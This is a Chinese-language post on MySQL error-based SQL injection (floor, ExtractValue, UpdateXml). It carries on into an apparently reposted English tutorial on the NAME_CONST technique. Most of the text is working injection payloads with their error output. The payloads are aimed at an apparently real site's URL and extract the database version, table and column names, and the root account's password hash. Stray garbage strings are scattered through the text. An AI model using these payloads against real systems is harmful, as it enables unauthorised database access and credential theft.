mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
# [: l& j# u, N* k7 d6 t# G首先进行正常查询：

mysql> select * from article where id = 1;
' P, U+ f7 P5 G: Q+ k* Q3 x+—-+——-+———+
8 Y1 I8 v9 e0 {) `8 ~| id | title | content |
7 E* ?2 `' M* V: y+—-+——-+———+
7 u! A4 i1 q8 T|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
7 T# Y- Z7 r8 n/ W' sERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
6 ]8 B: T/ B6 V- m+ e: @( DERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

* `, E6 T/ [* m/ j, d" k  p! {9 M

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
) X. b( E! g& ?9 z9 e
Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
# [5 v: @3 s3 S/ f8 [
$ M6 H" g% E# p/ L/ ^: Q8 n2 @http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

" \1 `, X! F% N  {Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
  b' o. d# n  r: w5 K4 S
: T9 K- G$ _* A# xMYSQL高版本报错注入技巧-利用NAME_CONST注入
6 i! h8 I3 P7 L& ?- ^0 ]It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.


相关信息
$ v0 x+ D: h; C+ B% i$ v7 A
+ I" R2 q" ~; Q' FNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

Code:
NAME_CONST(DATA, VALUE)

Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
  V( ?" y9 F2 M3 H
. p4 ?* y9 L% ]9 lSELECT NAME_CONST('TEST', 1)


. i/ H$ V1 H: x$ {9 ?9 X
|---------------|
3 V9 s/ {8 C; n) l# U2 T0 n|     TEST      |
/ N6 I6 y$ ^0 i' e! `3 a3 t|               |
|---------------|
|       1       |
|               |
3 ~( e! Z! G4 D& ^7 m# s|---------------|

! |; Y3 Q1 Q. O2 i7 B! ^! C* j0 t


* b4 |1 {! X" D- vhttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
3 L/ L% V4 M* v2 n, {4 XIntro to MySQL Variables

: n2 P7 |* {0 `2 _& y! ~  NOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
5 H# h2 r1 |, P: P! t) Z
# x& Y% @6 [5 c; C  e' MCode:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261



& h6 K% {+ T1 ^; h5 F  E$ Y0 D
# m# t5 M6 z% c, F
! ^5 K) d. g' }6 I2 b9 fCode:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

' q: Z/ `* Z# ~0 y7 `& s
VAR = Your MySQL variable.
, _; Q: Y9 N" f3 R  c+ h# w! N, r
1 i- Y8 @- w1 E7 g( @MySQL 5.1.3 Server System Variables
' m' g+ Z% e8 G! Q" f7 o1 w1 l( u
Let's try it out on my site..
4 a) p% P; w: j4 K
- \" t% j9 s" s, g6 X, ~2 LCode:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
/ ?  s6 @4 u$ o% A
  x3 a! d- o& Z9 X# u- C5 uErroruplicate column name '5.0.27-community-nt'

4 F5 _( r8 P/ t' n4 A

  L- ^9 E" I" s7 n, S6 ], ^7 [

Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

! a/ M% i6 |3 h4 l' k" u& w5 iData Extraction
6 ~% i9 Y$ P# Q3 e" Z, l. ]& K- |1 z
- a: Q4 I7 }* y0 ^# o* _7 \Code:
) D" y- H* A6 l, B! f/ w, U+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--


  A! w, Z) v5 W$ h. J* _  SWe should get a duplicate column 1 error...

6 r. b" V" C7 |Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

Erroruplicate column name '1


9 N1 C" j, M% s. j

: `. v; w, A: S  \5 o7 P

Now let's get the tables out this bitch..
1 c- q# a' {; r4 d3 j
/ e& l* U+ k7 Z- u- w) O9 n" ZCode:
5 A) W& @7 i# b; ]3 j! Z8 F* Q+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

  d0 i- ^- l. x1 f/ q
# g0 b& ]4 i; m4 f+ c2 BLet's see if it works here, if it does, we can go on and finish the job.

Code:
4 _0 e+ d$ `& C2 [  o7 z, Nhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


& S2 }& F8 L: h8 H! f% Z. D' M: }% sErroruplicate column name 'com_admanage

+ E& q$ j6 Z6 i% k/ G& W3 w* T  B3 Z


% ?2 }. {+ {& k1 a0 r

Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.

( a4 N- Z+ N. r0 ^8 `Let's get the columns out of the user table..
4 q6 L- @) }5 q/ Z: R
: }( Z3 n) F6 m" kCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--


So mine looks like this, and I get the duplicate column name 'Host'.

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
) B, a9 x) w0 V
Erroruplicate column name 'Host'


1 J. q8 {& `4 I; W9 A

& H* m1 O  j8 _
# ~1 i' v8 u7 t; g$ X/ o) V
" \/ V  R3 R: q) e0 c2 G* gWoot, time to finish this bitch off.
) s5 o# I# h  |# m& y) e
! Q+ T* w) Z9 ~$ D$ y# g: o) ACode:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
  C# [+ B) t0 ?1 u. T* E

+ i/ W$ ]% K# N3 tSo mine looks like this...
* e0 a, h. K2 |, C5 ]" V& O
: F  g* @& ^" {, w, {Code:
) D* C& a7 T+ ]3 Q2 g) hhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
$ R# z8 y6 ^4 K/ S
; e( R: c) z) Y# |4 @) lErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'



/ Y3 [' H8 `6 C, C: W3 L0 Q
. Q. [. n; B" c' T' K' t
5 I& ~3 ~3 p' c: _' c4 `
And there we have it, thanks for reading.